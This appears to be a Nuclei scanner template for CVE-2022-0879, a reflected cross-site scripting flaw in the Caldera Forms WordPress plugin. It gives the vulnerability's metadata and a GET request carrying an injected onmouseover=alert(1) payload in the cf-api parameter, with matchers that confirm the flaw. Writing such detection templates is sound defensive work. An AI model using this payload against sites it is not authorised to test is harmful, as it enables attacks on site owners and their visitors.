CVE-2022-0879: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

id: CVE-2022-0879

info:
  name: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 1.9.7 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0879
    - https://wpscan.com/vulnerability/10e8e92a-4e1d-4e9c-8b3e-e8c5e0e0e0e0
    - https://github.com/20142995/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0879
    cwe-id: CWE-79
    epss-score: 0.01165
    epss-percentile: 0.65695
    cpe: cpe:2.3:a:calderaforms:caldera_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: wpscan,cve,cve2022,wordpress,xss,caldera-forms,reflected,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed")'
          - '!regex(body, "value=[\"\\\\]*/?cf-api=")'
        condition: and
# digest: 490a0046304402205e0174a243593465ca56108d3783d9767d4f5bcab7436651e48b1c25bcd4e75f0220289d832c9016ce8bd7d0dffd793ebac59794a037ad75d28912ca1e95ef4dfe83:922c64590222798bb761d5b6d8e72950

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